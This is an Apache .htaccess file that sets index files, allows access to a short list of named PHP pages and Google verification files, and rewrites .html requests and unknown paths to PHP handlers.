DirectoryIndex index.html index.php index.htm
<FilesMatch "^(index.php|dropdown.php|admin.php|about.php|unlockindex.php|todo.php|google(.*)\.html|lockindex.php)$">
Order Allow,Deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^(.*)\.html?$ $1.php [R=301,NC,L]
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>
